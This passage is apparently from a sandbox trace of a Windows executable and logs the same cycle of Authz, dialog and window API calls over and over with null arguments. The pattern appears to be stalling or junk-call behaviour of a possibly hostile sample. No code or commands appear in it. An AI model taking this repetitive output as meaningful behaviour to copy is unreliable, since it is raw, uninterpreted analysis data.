dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.596] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.596] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.596] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.596] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.596] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.596] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.596] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.596] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.596] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.596] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.596] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.596] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.596] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.597] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.597] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.597] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.597] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.597] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.597] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.597] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.597] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.597] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.597] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.597] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.597] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.597] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.597] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.597] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.597] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.597] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.597] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.597] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.597] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.597] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.597] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.597] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.597] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.597] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.597] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.597] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.597] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.597] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.597] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.597] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.597] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.597] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.597] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.597] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.597] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.597] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.597] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.597] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.597] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.597] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.598] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.598] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.598] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.598] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.598] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.598] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.598] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.598] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.598] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.598] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.598] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.598] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.598] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.598] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.598] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.598] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.598] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.598] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.598] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.598] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.598] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.598] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.598] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.598] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.598] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.598] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.598] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.598] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.598] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.598] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.598] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.598] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.598] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.598] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.598] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.598] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.598] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.598] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.598] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.598] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.598] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.599] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.599] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.599] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.599] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.599] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.599] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.599] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.599] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.599] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.599] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.599] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.599] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.599] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.599] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.599] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.599] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.599] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.599] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.599] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.599] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.599] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.599] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.599] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.599] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.599] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.599] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.599] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.599] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.599] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.599] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.599] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.599] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.599] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.599] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.599] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.599] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.599] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.599] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.599] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.599] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.599] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.600] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.600] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.600] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.600] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.600] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.600] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.600] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.600] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.600] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.600] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.600] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.600] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.600] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.600] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.600] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.600] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.600] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.600] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.600] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.600] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.600] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.600] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.600] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.600] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.600] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.600] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.600] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.600] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.600] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.600] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.600] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.600] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.600] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.600] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.600] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.600] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.600] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.600] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.600] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.600] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.600] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.600] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.601] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.601] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.601] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.601] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.601] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.601] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.601] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.601] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.601] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.601] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.601] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.601] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.601] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.601] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.601] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.601] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.601] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.601] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.601] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.601] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.601] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.601] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.601] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.601] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.601] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.601] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.601] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.601] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.601] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.601] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.601] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.601] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.601] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.601] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.601] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.601] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.601] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.601] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.601] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.601] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.601] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.602] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.602] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.602] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.602] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.602] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.602] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.602] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.602] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.602] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.602] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.602] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.602] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.602] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.602] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.602] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.602] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.602] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.602] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.602] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.602] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.602] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.602] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.602] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.602] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.602] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.602] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.602] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.602] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.602] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.602] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.602] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.602] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.602] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.602] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.602] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.602] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.602] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.602] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.602] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.602] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.602] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.602] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.603] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.603] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.603] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.603] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.603] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.603] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.603] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.603] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.603] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.603] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.603] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.603] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.603] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.603] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.603] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.603] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.603] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.603] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.603] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.603] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 